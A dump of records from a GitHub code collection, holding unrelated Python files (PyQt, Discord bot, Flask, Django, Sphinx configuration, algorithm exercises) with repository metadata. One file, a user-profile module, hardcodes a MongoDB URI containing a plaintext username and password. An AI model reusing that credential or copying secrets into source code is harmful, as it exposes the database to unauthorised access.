Dialog_Tables):\r\n Dialog_Tables.setObjectName(\"Dialog_Tables\")\r\n Dialog_Tables.resize(300, 430)\r\n Dialog_Tables.setStyleSheet(\"background-color: rgb(89, 101, 214);\")\r\n self.label_2 = QtWidgets.QLabel(Dialog_Tables)\r\n self.label_2.setGeometry(QtCore.QRect(20, 10, 271, 40))\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n self.label_2.setFont(font)\r\n self.label_2.setFrameShape(QtWidgets.QFrame.Box)\r\n self.label_2.setLineWidth(3)\r\n self.label_2.setObjectName(\"label_2\")\r\n self.pushButton = QtWidgets.QPushButton(Dialog_Tables)\r\n self.pushButton.setGeometry(QtCore.QRect(100, 60, 100, 23))\r\n self.pushButton.setStyleSheet(\"background-color: rgb(0, 0, 0);\\n\"\r\n\"color: rgb(255, 255, 255);\")\r\n self.pushButton.setObjectName(\"pushButton\")\r\n self.pushButton_2 = QtWidgets.QPushButton(Dialog_Tables)\r\n self.pushButton_2.setGeometry(QtCore.QRect(100, 90, 100, 23))\r\n self.pushButton_2.setStyleSheet(\"background-color: rgb(0, 0, 0);\\n\"\r\n\"color: rgb(255, 255, 255);\")\r\n self.pushButton_2.setObjectName(\"pushButton_2\")\r\n self.pushButton_3 = QtWidgets.QPushButton(Dialog_Tables)\r\n self.pushButton_3.setGeometry(QtCore.QRect(100, 120, 100, 23))\r\n self.pushButton_3.setStyleSheet(\"background-color: rgb(0, 0, 0);\\n\"\r\n\"color: rgb(255, 255, 255);\")\r\n self.pushButton_3.setObjectName(\"pushButton_3\")\r\n self.pushButton_4 = QtWidgets.QPushButton(Dialog_Tables)\r\n self.pushButton_4.setGeometry(QtCore.QRect(110, 360, 75, 23))\r\n self.pushButton_4.setStyleSheet(\"color: rgb(255, 255, 255);\\n\"\r\n\"background-color: rgb(0, 0, 0);\")\r\n self.pushButton_4.setCheckable(False)\r\n self.pushButton_4.setChecked(False)\r\n self.pushButton_4.setAutoRepeat(False)\r\n self.pushButton_4.setAutoExclusive(False)\r\n self.pushButton_4.setObjectName(\"pushButton_4\")\r\n self.label_4 = QtWidgets.QLabel(Dialog_Tables)\r\n self.label_4.setGeometry(QtCore.QRect(10, 400, 191, 16))\r\n self.label_4.setObjectName(\"label_4\")\r\n\r\n self.retranslateUi(Dialog_Tables)\r\n QtCore.QMetaObject.connectSlotsByName(Dialog_Tables)\r\n\r\n def retranslateUi(self, Dialog_Tables):\r\n _translate = QtCore.QCoreApplication.translate\r\n Dialog_Tables.setWindowTitle(_translate(\"Dialog_Tables\", \"Tables\"))\r\n self.label_2.setText(_translate(\"Dialog_Tables\", \" Tables\"))\r\n self.pushButton.setText(_translate(\"Dialog_Tables\", \"Заявки на продаж\"))\r\n self.pushButton_4.setText(_translate(\"Dialog_Tables\", \"Вихід\"))\r\n self.label_4.setText(_translate(\"Dialog_Tables\", \"Автор:Краснящих Андрій ФІТ (1-7)\"))","repo_name":"AndreyKrasniashih/ICS-485259","sub_path":"Проект/configFW_T.py","file_name":"configFW_T.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9996412197","text":"#!/usr/bin/env python3.7\n# Esse script corresponde ao primeiro exercício do quarto \n# experimento de Dispositivos eletrônicos.\nimport sys\nsys.path.append(\"../../Bibliotecas/\") \nimport ClasseDados as cla\nfrom matplotlib import pyplot as plt\n\n\nimgFolder = \"../Imagens/pyImg/Exercicio1/\"\n\n\n#######################################################################\n## Item A ##\n#######################################################################\nread1 =cla.MultisimCSV(\"../raw_files/DE6_ex1_resIncr_interv0.0001.csv\")\nread1.GetNChannels()\n\n# Le os dados salvos no csv\nv_be,i_c = read1.GetChannel(0)\n\nfor i in range(0,10):\n\tprint(v_be[i],i_c[i])\n","repo_name":"dancps/DispositivosEletronicos","sub_path":"DE_Experimento6/codes/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72947501867","text":"from asyncio import TimeoutError as asyncTimeoutError\nfrom pathlib import Path\nfrom typing import Optional, Union\n\nfrom discord import Embed, Message, Reaction, Member, Guild\nfrom discord.ext.commands import Context, Bot, has_guild_permissions, group, Cog\nfrom sentry_sdk import capture_message\nfrom yaml import safe_load, safe_dump\n\nfrom utils import colors\nfrom utils.config import Config, reload_prefixes\nfrom utils.env import SENTRY_DSN\nfrom utils.logs import get_logger\n\nlogger = get_logger(__name__)\n\n\nclass CorePrefix(Cog, name=\"Prefix\"):\n \"\"\"\n Cog providing an interface to set and get dynamic prefixes per guild\n\n Attributes:\n -----------\n bot: `discord.ext.commandsBot`\n \"\"\"\n def __init__(self, bot: Bot):\n self.bot: Bot = bot\n\n @group(name=\"prefix\", invoke_without_command=True)\n async def prefix(self, ctx: Context) -> None:\n \"\"\"\n Prints current prefix of server or dm channel\n :param ctx: Current context\n :return: None\n \"\"\"\n await ctx.send(\n embed=Embed(title=\"Prefix\",\n description=f\"Prefix is currently set to `{await current_prefix(ctx.guild)}`\",\n color=colors.GREEN))\n\n @prefix.command(name=\"set\", ignore_rest=False)\n @has_guild_permissions(administrator=True)\n async def prefix_set(self, ctx: Context, new_prefix: str) -> None:\n \"\"\"\n Sets a new prefix for current server\n :param ctx: Current context\n :param new_prefix: New prefix to set\n :return: None\n \"\"\"\n msg: Message = await ctx.send(embed=Embed(title=\"Change prefix\",\n description=f\"Are you sure you want change your \"\n f\"prefix to `{new_prefix}` ?\",\n color=colors.GREEN))\n await msg.add_reaction(\"\\u2705\") # white check mark\n await msg.add_reaction(\"\\u274c\") # x\n\n def check(_reac: Reaction, member: Member):\n return member.id == ctx.author.id\n\n try:\n reaction, user = await self.bot.wait_for(\"reaction_add\", timeout=30.0, check=check) # skipcq: PYL-W0612\n except asyncTimeoutError:\n await ctx.send(\"Action cancelled!\")\n else:\n if reaction.emoji == \"\\u2705\":\n success: bool = await self.__save_prefix__(new_prefix, ctx.guild.id)\n await reload_prefixes()\n if success:\n await ctx.send(embed=Embed(title=\"Changed prefix\",\n description=\"Prefix was successfully changed to \"\n f\"`{await current_prefix(ctx.guild.id)}`!\",\n color=colors.GREEN))\n else:\n await ctx.send(embed=Embed(title=\"Something went wrong\",\n description=\"Something went wrong while changing the prefix. \"\n \"An report was filed.\", color=colors.YELLOW))\n if SENTRY_DSN: # check if sentry dsn is set -> sentry is available\n capture_message(\"Failed saving custom prefix!\", level=\"error\")\n if reaction.emoji == \"\\u274c\":\n await ctx.send(\"Action cancelled!\")\n return\n\n @staticmethod\n async def __save_prefix__(new_prefix: str, server_id: int) -> bool:\n \"\"\"\n Saves new prefix mapped to server id\n :param new_prefix: New prefix to save\n :param server_id: Server id to map prefix to\n :return: bool wheter saving was successful\n \"\"\"\n logger.debug(f\"Trying to save new prefix ({new_prefix}) for server {server_id}\")\n try:\n with open(Path(\"config.yml\"), \"r\") as f:\n config = safe_load(f)\n\n config[\"prefix\"][\"server\"][server_id] = new_prefix\n\n with open(Path(\"config.yml\"), \"w\") as f:\n safe_dump(config, f)\n logger.debug(\"Saved new prefix.\")\n return True\n\n except FileNotFoundError:\n logger.critical(\"Prefix could not be saved because config.yml missing.\")\n # print(exc)\n return False\n\n\nasync def current_prefix(guild: Optional[Union[Guild, int]]) -> str:\n \"\"\"\n Getter for prefix used in guild if set or default prefix.\n Note: It's possible to use ctx.guild without check because it's none if used in dm.\n :param guild: Guild or id of guild\n :return: :str: Prefix\n \"\"\"\n if isinstance(guild, Guild):\n guild: int = guild.id\n if guild is not None and guild in Config.SERVER_PREFIXES:\n logger.debug(f\"Grabbing current prefix from guild: {guild}\")\n return Config.SERVER_PREFIXES.get(guild)\n logger.debug(\"Grabbing default prefix.\")\n return Config.DEFAULT_PREFIX\n","repo_name":"Feleuxens/Dimabot","sub_path":"dimabot/utils/prefix.py","file_name":"prefix.py","file_ext":"py","file_size_in_byte":4994,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"71883371626","text":"import constants as c\nfrom data_master import refresh_l_tokens\n\n\ndef manage_a_worker(token):\n from data_worker import DataWorker\n data_worker = DataWorker(token)\n data_worker.crawl_single_token()\n\n\nl_tokens = refresh_l_tokens()\n\n# token_name = 'terra-classic' # url does not exist\n# token_name = 'golem' # url has been redirected\n#\ntoken_name = 'cardano' # ok\n\nif token_name in l_tokens:\n print(\"err\")\n # manage_a_worker(token_name)\nelse:\n print(f\"token_name ={token_name} is not included in l_tokens\")\n\n# # Write RUN_DATE_HOUR to the file\n# with open(c.LAST_RUN_DATE_HOUR_PATH, \"w\") as f:\n# f.write(f\"{c.RUN_DATE_HOUR}\")\n","repo_name":"supervehacker/Coinmarketcap_Crawl","sub_path":"1_token_test.py","file_name":"1_token_test.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27517936855","text":"from UserProfile.Ontology import OntologyModule\r\nfrom UserProfile.SentimentAnalyzer import SentimentAnalysis\r\nfrom UserProfile.NeuralNetworkClassifier import NeuralNetwork\r\nfrom UserProfile.ScoreGenerator import ScoreCalculator\r\nfrom flask_pymongo import MongoClient\r\n\r\n\r\nclass FeatureExtaction:\r\n def create_profile(user_id):\r\n MongoDBuri = 'mongodb://shamila:Sha123@ds253960.mlab.com:53960/zealous_01'\r\n\r\n client = MongoClient(MongoDBuri, connectTimeoutMS='30000')\r\n database = client.get_database(name='zealous_01')\r\n users = database.users\r\n raw_tweets = database.raw_tweets\r\n\r\n food = []\r\n environment = []\r\n economy = []\r\n\r\n # ----------------get logged user data--------------#\r\n tweet_detail = raw_tweets.find_one({'user_id': user_id})\r\n # --------------------------------------------------#\r\n # print(tweet_detail)\r\n user_tweet = tweet_detail['user_tweets']\r\n for k, v in user_tweet.items():\r\n food_preference = []\r\n env_preference = []\r\n economy_level = []\r\n if v == 'Food':\r\n food_preference = OntologyModule.food_ontology(k)\r\n if not food_preference:\r\n food_preference.append(NeuralNetwork.food_classify(k))\r\n score = SentimentAnalysis.food_sentiment_score(k)\r\n\r\n for pref in food_preference:\r\n food.append((pref, score))\r\n\r\n elif v == 'Environment':\r\n env_preference = OntologyModule.env_ontology(k)\r\n if not env_preference:\r\n env_preference.append(NeuralNetwork.env_classify(k))\r\n score = SentimentAnalysis.env_sentiment_score(k)\r\n\r\n for pref in env_preference:\r\n environment.append((pref, score))\r\n\r\n elif v == 'Finance':\r\n economy_level = OntologyModule.eco_ontology(k)\r\n if not economy_level:\r\n economy_level.append(NeuralNetwork.eco_classify(k))\r\n\r\n for pref in economy_level:\r\n economy.append(pref)\r\n\r\n food_total = 15\r\n env_total = 15\r\n eco_high_count = 0\r\n eco_low_count = 0\r\n chine = []\r\n sea = []\r\n rur = []\r\n mount = []\r\n beach = []\r\n indian = []\r\n economy_size = len(economy)\r\n\r\n for elementf in food:\r\n if elementf[0]=='Chinese':\r\n chine.append(elementf[1])\r\n elif elementf[0]=='Seafood':\r\n sea.append(elementf[1])\r\n elif elementf[0] == 'Indian':\r\n indian.append(elementf[1])\r\n food_total = food_total + elementf[1]\r\n\r\n for elementf in environment:\r\n if elementf[0] == 'Beach':\r\n beach.append(elementf[1])\r\n elif elementf[0] == 'Rural':\r\n rur.append(elementf[1])\r\n elif elementf[0] == 'Mountains':\r\n mount.append(elementf[1])\r\n env_total = env_total + elementf[1]\r\n\r\n for elementf in economy:\r\n if elementf[0] == 'High':\r\n eco_high_count = eco_high_count + 1\r\n elif elementf[0] == 'Low':\r\n eco_low_count = eco_low_count + 1\r\n\r\n if len(chine) > 0:\r\n final_chinese = round(ScoreCalculator.score_generate(array=chine, total=food_total), 3)\r\n else:\r\n final_chinese = 0.0\r\n if len(indian) > 0:\r\n final_indian = round(ScoreCalculator.score_generate(array=indian, total=food_total), 3)\r\n else:\r\n final_indian = 0.0\r\n if len(sea) > 0:\r\n final_sea = round(ScoreCalculator.score_generate(array=sea, total=food_total), 3)\r\n else:\r\n final_sea = 0.0\r\n if len(beach) > 0:\r\n final_beach = round(ScoreCalculator.score_generate(array=beach, total=env_total), 3)\r\n else:\r\n final_beach = 0.0\r\n if len(mount) > 0:\r\n final_mountain = round(ScoreCalculator.score_generate(array=mount, total=env_total), 3)\r\n else:\r\n final_mountain = 0.0\r\n if len(rur) > 0:\r\n final_rural = round(ScoreCalculator.score_generate(array=rur, total=env_total), 3)\r\n else:\r\n final_rural = 0.0\r\n if economy_size > 0:\r\n economy_level = ScoreCalculator.get_eco_level(high_count=eco_high_count, eco_size=economy_size)\r\n else:\r\n economy_level = 3\r\n # ---------------------------DB Write here --------------------#\r\n # print(final_beach, final_chinese, final_mountain, final_rural, final_sea, economy_level)\r\n users.update_one({\"_id\": user_id},\r\n {'$set': {'eco_level': int(economy_level),\r\n 'food_pref': {\"chinese\": final_chinese,\r\n \"seafood\": final_sea,\r\n \"bevarage\": final_indian\r\n },\r\n 'environment_p': {\"seaside\": final_beach,\r\n \"forest\": final_rural,\r\n \"mountain\": final_mountain}}})\r\n # -------------------------------------------------------------#","repo_name":"shamilapathirana/Personalized_hotel_recommendation","sub_path":"UserProfile/MainModule.py","file_name":"MainModule.py","file_ext":"py","file_size_in_byte":5423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"719879945","text":"import sys, os, re, subprocess\nimport mock\nfrom recommonmark import parser\n\ncurr_path = os.path.dirname(os.path.abspath(os.path.expanduser(__file__)))\nlibpath = os.path.join(curr_path, '../python/')\nsys.path.insert(0, libpath)\nsys.path.insert(0, curr_path)\n\n# -- mock out modules\nMOCK_MODULES = ['scipy', 'scipy.sparse', 'sklearn']\nfor mod_name in MOCK_MODULES:\n sys.modules[mod_name] = mock.Mock()\n\n# -- General configuration -----------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\nneeds_sphinx = '1.2'\n\n# General information about the project.\nproject = u'mxnet'\nauthor = u'%s developers' % project\ncopyright = u'2015-2017, %s' % author\ngithub_doc_root = 'https://github.com/dmlc/mxnet/tree/master/docs/'\ndoc_root = 'http://mxnet.io/'\n\n# add markdown parser\nsource_parsers = {\n '.md': parser.CommonMarkParser,\n '.Rmd': parser.CommonMarkParser\n}\n# Version information.\n# from mxnet import libinfo\n# version = libinfo.__version__\n# release = libinfo.__version__\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones\nextensions = [\n 'sphinx.ext.autodoc',\n 'sphinx.ext.autosummary',\n 'sphinx.ext.napoleon',\n 'sphinx.ext.mathjax',\n 'sphinx.ext.viewcode',\n 'breathe',\n 'mxdoc'\n]\n\n# Use breathe to include doxygen documents\nbreathe_projects = {'mxnet' : 'doxygen/xml/'}\nbreathe_default_project = 'mxnet'\n\nautodoc_member_order = 'bysource'\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix of source filenames.\n# source_suffix = '.rst'\nsource_suffix = ['.rst', '.md', '.Rmd']\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\n\n# Version and release are passed from CMake.\n#version = None\n\n# The full version, including alpha/beta/rc tags.\n#release = version\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#language = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['virtualenv']\n\n# The reST default role (used for this markup: `text`) to use for all documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\nsuppress_warnings = [\n 'image.nonlocal_uri',\n]\n\n# -- Options for HTML output ---------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\nhtml_theme = 'mxnet-theme'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\nhtml_theme_path = ['_static']\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\nhtml_sidebars = {\n '**': 'relations.html'\n}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'formatdoc'\n","repo_name":"hpi-xnor/BMXNet","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":6158,"program_lang":"python","lang":"en","doc_type":"code","stars":347,"dataset":"github-code","pt":"37"} +{"seq_id":"73674427628","text":"# -- conding: utf-8 --\n\nfrom django.template.context import RequestContext\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.http import HttpResponse\n\n\nfrom customers.models import Company, Person\nfrom customers.forms import CompanyForm, PersonForm\n\n\ndef render(template, request, data = {}):\n context = RequestContext(request)\n return render_to_response(template, data, context_instance = context)\n\ndef index(request):\n return render('companies/index.html', request)\n\ndef companies(request):\n if request.method == 'POST':\n import json\n form = CompanyForm(request.POST or None)\n data = {}\n data['status'] = 'error'\n if form.is_valid():\n company = form.save();\n data['status'] = 'done';\n data['id'] = company.id\n else:\n data['form'] = form.errors;\n\n return HttpResponse(json.dumps(data), mimetype=\"application/json\");\n else:\n data = {}\n data['active'] = 'companies';\n data['parties'] = Company.objects.all();\n return render('companies/index.html', request, data)\n\ndef company_view(request, company_id):\n data = {}\n company = get_object_or_404(Company, id = company_id);\n data['company'] = company;\n data['people'] = company.people.all();\n \n return render('companies/view.html', request, data) \n\ndef company_new(request):\n data = {}\n data['form'] = CompanyForm()\n return render('companies/form.html', request, data) \n \n\ndef people(request):\n data = {}\n data['active'] = 'people';\n data['parties'] = Person.objects.all();\n \n return render('parties.html', request, data) \n \ndef new_people(request):\n data = {}\n data['form'] = PersonForm()\n return render('people/form.html', request, data) \n \n\ndef person(request, person_id):\n\n data = {}\n person = get_object_or_404(Person, id = person_id);\n \n data['person'] = person;\n data['company'] = person.company;\n \n return render('person.html', request, data)\n","repo_name":"loduis/simplecrm","sub_path":"customers/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15602127245","text":"from flask import request, jsonify, Blueprint, abort\nfrom pydantic import ValidationError\n\nfrom models import Article\nfrom schemas import ArtSchema, ValidIdSchema, CategorySchema, SpecificationSchema\n\narticle = Blueprint('articles', __name__)\n\n\n@article.route('/', methods=['GET'])\ndef get_list_articles():\n if request.method == 'GET':\n\n list_dict_articles = []\n try:\n all_articles = Article.get_articles_list()\n for art in all_articles:\n created_article = ArtSchema.from_orm(art).dict()\n list_dict_articles.append(created_article)\n return jsonify(list_dict_articles)\n\n except ValidationError as err:\n return err.json()\n\n except Exception as e:\n return jsonify({'error': str(e)}), 400\n\n\n@article.route('/<article_id>', methods=['GET'])\ndef get_one_article(article_id):\n if request.method == 'GET':\n\n try:\n ValidIdSchema(id=article_id)\n\n target_article = Article.get_article(article_id)\n\n art_dict = ArtSchema.from_orm(target_article).dict()\n art_dict['categoryArticle'] = []\n art_dict['articleSpecification'] = []\n\n if target_article.categories:\n for cat in target_article.categories:\n art_dict['categoryArticle'].append(CategorySchema.from_orm(cat).dict())\n\n if len(target_article.specifications) > 0:\n for spec in target_article.specifications:\n art_dict['articleSpecification'].append(SpecificationSchema.from_orm(spec).dict())\n\n return jsonify(art_dict)\n\n except ValidationError as err:\n return err.json()\n\n except Exception as e:\n return jsonify({'error': str(e)}), 400\n\n\n@article.route('/', methods=['POST'])\ndef creation_article():\n if request.method == 'POST':\n\n try:\n new_data = ArtSchema(**request.get_json()).dict()\n\n new_article = Article.save_article(new_data)\n\n created_article_dict = ArtSchema.from_orm(new_article).dict()\n created_article_dict['categoryArticle'] = []\n created_article_dict['articleSpecification'] = []\n\n if new_article.categories:\n for cat_art in new_article.categories:\n created_article_dict['categoryArticle'].append(CategorySchema.from_orm(cat_art).dict())\n if new_article.specifications:\n for spec_art in new_article.specifications:\n created_article_dict['articleSpecification'].append(SpecificationSchema.from_orm(spec_art).dict())\n\n return jsonify(created_article_dict)\n\n except ValidationError as err:\n return err.json()\n except Exception as e:\n return jsonify({'error': str(e)}), 400\n\n\n@article.route('/', methods=['PUT'])\ndef edit_article():\n if request.method == 'PUT':\n try:\n new_data = ArtSchema(**request.get_json()).dict()\n\n if new_data['id'] is None:\n return jsonify({'error': 'missing a required field \"id\" '}), 400\n\n updated_article = Article.update_article(new_data)\n update_article_dict = ArtSchema.from_orm(updated_article).dict()\n update_article_dict['categoryArticle'] = []\n update_article_dict['articleSpecification'] = []\n\n if updated_article.categories:\n for cat_art in updated_article.categories:\n update_article_dict['categoryArticle'].append(CategorySchema.from_orm(cat_art).dict())\n if updated_article.specifications:\n for spec_art in updated_article.specifications:\n update_article_dict['articleSpecification'].append(SpecificationSchema.from_orm(spec_art).dict())\n\n return jsonify(update_article_dict)\n\n except ValidationError as err:\n return err.json()\n except Exception as e:\n return jsonify({'error': str(e)}), 400\n\n\n@article.route('/', methods=['DELETE'])\ndef delete_article():\n if request.method == 'DELETE':\n try:\n new_data = request.get_json()\n ValidIdSchema(id=new_data['id'])\n\n if new_data['id'] is None:\n return jsonify({'error': 'missing a required field \"id\" '}), 400\n\n Article.delete_article(new_data['id'])\n\n return jsonify({})\n\n except ValidationError as err:\n return err.json()\n\n except Exception as e:\n return jsonify({'error': str(e)}), 400\n\n","repo_name":"trenerekb/stock","sub_path":"routes/article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":4588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70576390507","text":"def solution(n, l, r):\n return count_1(r) - count_1(l-1)\n\n\ndef count_1(idx):\n if idx <= 5:\n return '11011'[:idx].count('1')\n\n power = 1\n while 5 ** (power + 1) <= idx:\n power += 1\n\n base = 5 ** power\n section, remainder = divmod(idx, base)\n if section == 0:\n return count_1(remainder)\n elif section == 1:\n return (4 ** power) + count_1(remainder)\n elif section == 2:\n return 2 * (4 ** power)\n elif section == 3:\n return 2 * (4 ** power) + count_1(remainder)\n elif section == 4:\n return 3 * (4 ** power) + count_1(remainder)\n else: # section == 5\n return 4 * (4 ** power)\n\n\nif __name__ == \"__main__\":\n n = 3\n l = 4\n r = 17\n print(solution(n, l, r))\n","repo_name":"lymchgmk/Algorithm-Problem-Solving","sub_path":"Programmers/연습문제/Level 2/유사 칸토어 비트열/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33078271838","text":"import logging\nimport pathlib\nfrom os import path\n\nimport dfpl.autoencoder as ac\nimport dfpl.fingerprint as fp\nimport dfpl.options as opt\nimport dfpl.predictions as p\nimport dfpl.utils as utils\n\nproject_directory = pathlib.Path(__file__).parent.absolute()\ntest_predict_args = opt.Options(\n inputFile=f\"{project_directory}/data/smiles.csv\",\n outputDir=f\"{project_directory}/preds/\",\n ecModelDir=utils.makePathAbsolute(f\"{project_directory}/output/\"),\n ecWeightsFile=utils.makePathAbsolute(\n f\"{project_directory}/output/D_datasetdeterministicrandom.autoencoder.weightsrandom.autoencoder.weights.hdf5\"\n ),\n fnnModelDir=f\"{project_directory}/output/fnnTrainingCompressed/AR_saved_model\",\n fpSize=2048,\n type=\"smiles\",\n fpType=\"topological\",\n)\n\n\ndef test_predictions(opts: opt.Options):\n opts = test_predict_args\n\n logging.basicConfig(\n format=\"DFPL-{levelname}: {message}\", style=\"{\", level=logging.INFO\n )\n logging.info(f\"Predicting compounds in the input file {opts.inputFile}\")\n\n df = fp.importDataFile(\n opts.inputFile, import_function=fp.importSmilesCSV, fp_size=opts.fpSize\n )\n\n # use_compressed = False\n if opts.ecWeightsFile:\n # use_compressed = True\n # load trained model for autoencoder\n (autoencoder, encoder) = ac.define_ac_model(opts, output_bias=None)\n autoencoder.load_weights(opts.ecWeightsFile)\n # compress the fingerprints using the autoencoder\n df = ac.compress_fingerprints(df, encoder)\n # model = tensorflow.keras.models.load_model(opts.fnnModelDir, compile=False)\n # model.compile(loss=opts.lossFunction, optimizer=opts.optimizer)\n # predict\n df2 = p.predict_values(df=df, opts=opts)\n\n names_columns = [c for c in df2.columns if c not in [\"fp\", \"fpcompressed\"]]\n\n output_file = path.join(\n opts.outputDir,\n path.basename(path.splitext(opts.inputFile)[0]) + \".predictions.csv\",\n )\n df2[names_columns].to_csv(path_or_buf=output_file)\n\n logging.info(f\"Predictions done.\\nResults written to '{output_file}'.\")\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(\n format=\"DFPL-{levelname}: {message}\", style=\"{\", level=logging.INFO\n )\n utils.createDirectory(test_predict_args.outputDir)\n test_predictions(test_predict_args)\n","repo_name":"yigbt/deepFPlearn","sub_path":"tests/run_prediction.py","file_name":"run_prediction.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"7835037550","text":"# 148. Sort List QuestionEditorial Solution My Submissions\n# Total Accepted: 87550\n# Total Submissions: 325686\n# Difficulty: Medium\n# Contributors: Admin\n# Sort a linked list in O(n log n) time using constant space complexity.\n# \n# Subscribe to see which companies asked this question\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n# 12.10.2016, Merge sort. Space is logn\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def sortList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if not head or not head.next: return head\n \n dummy = ListNode(-1)\n dummy.next = head\n \n slow, fast = dummy, dummy.next\n while fast and fast.next:\n slow, fast = slow.next, fast.next.next\n \n l2 = slow.next\n slow.next = None\n \n ll = self.sortList(head)\n rr = self.sortList(l2)\n \n return self.merge(ll, rr)\n \n def merge(self, l1, l2):\n dummy = ListNode(-1)\n cur = dummy\n \n while l1 or l2:\n if l1 and not l2:\n cur.next = l1\n break\n if l2 and not l1:\n cur.next = l2\n break\n\n if l1.val < l2.val:\n tmp = l1.next\n l1.next = None\n cur.next = l1\n cur, l1 = cur.next, tmp\n else:\n tmp = l2.next\n l2.next = None\n cur.next = l2\n cur, l2 = cur.next, tmp\n \n return dummy.next\n\n\n## This is o(n) space.\nclass Solution(object):\n def sortList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n nums = []\n while head:\n nums.append(head.val)\n head = head.next\n \n nums.sort()\n dummy = ListNode(-1)\n pre = dummy\n for num in nums:\n node = ListNode(num)\n pre.next = node\n pre = node\n return dummy.next\n\n","repo_name":"yihanc/LC","sub_path":"QUESTIONS/148_sort_list.py","file_name":"148_sort_list.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10786411401","text":"import os\nimport sys\nfrom PySide6.QtWidgets import QDialog, QApplication\nfrom PySide6.QtCore import QThread, Signal\nfrom main import MyApp\nfrom auth_ui import Ui_Dialog\nfrom auth import insert_log_data, is_valid_user_higher, update_time\nfrom getmac import get_mac_address as gma\n\n\nclass AuthenticationDialog(QDialog):\n def __init__(self):\n super(AuthenticationDialog, self).__init__()\n self.ui = Ui_Dialog()\n 